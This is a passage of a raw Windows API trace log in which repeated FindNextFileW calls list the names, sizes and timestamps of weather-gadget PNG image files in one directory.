cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd090ae3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd090ae3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdeee85c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3071, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_hail.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd090ae3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd090ae3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdeee85c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3253, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_rainy.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd0b6c42, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd0b6c42, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdeee85c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x32ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_snow.png", cAlternateFileName="")) returned 1 [0090.474] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd0b6c42, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd0b6c42, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf149bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x31d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2a5e15, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd2a5e15, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf149bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="grayStateIcon.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2a5e15, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd2a5e15, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf3ab1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="greenStateIcon.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc58e56d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc58e56d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf3ab1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2a5e15, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd2a5e15, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf3ab1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd27fcb6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd27fcb6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf3ab1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="redStateIcon.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1e773a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd1e773a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf60c7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_background.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2339f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd2339f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf60c7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x758e, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked-loading.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc58e56d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc58e56d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf86ddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6ddb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5b46cc, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc5b46cc, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdf86ddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_few-showers.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc60098a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc60098a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfacf3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7ee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_foggy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6e51c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc6e51c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfacf3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_hail.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc70b323, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc70b323, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfacf3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7575e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7575e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfd309c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x60f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7575e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7575e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfd309c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4ee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc77d740, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc77d740, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfd309c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x65e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a389f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7a389f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdff91fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4a10, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a389f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7a389f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdff91fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7c99fe, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7c99fe, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0454bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x558a, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7efb5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7efb5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0454bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc83be1b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc83be1b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe06b61c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc861f7a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc861f7a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe06b61c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6469, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc861f7a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc861f7a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe09177c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4b87, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8880d9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8880d9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe09177c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x62fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8ae238, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8ae238, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0b78dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8ae238, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8ae238, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0b78dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6455, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8d4397, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8d4397, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0dda3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8fa4f6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8fa4f6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0dda3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6222, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc920655, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc920655, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe103b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x94ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_rainy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc9467b4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc9467b4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_snow.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc96c913, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc96c913, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc992a72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc992a72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x9c38, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_windy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc992a72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc992a72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6add, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc9b8bd1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc9b8bd1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_snow.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc9ded30, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc9ded30, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8f5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_sun.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca04e8f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbca04e8f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe14fe5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbc54, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_windy.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca2afee, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbca2afee, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe14fe5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8184, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca772ac, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbca772ac, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe14fe5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8450, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca772ac, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbca772ac, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe14fe5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x893d, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_foggy.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcac356a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcac356a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe175fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x9508, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_hail.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcae96c9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcae96c9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe175fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa742, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_rainy.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb35987, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcb35987, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe175fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa0df, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_snow.png", cAlternateFileName="")) returned 1 [0090.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb35987, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcb35987, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe19c11c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x92d0, dwReserved0=0x0, dwReserved1=0x0, 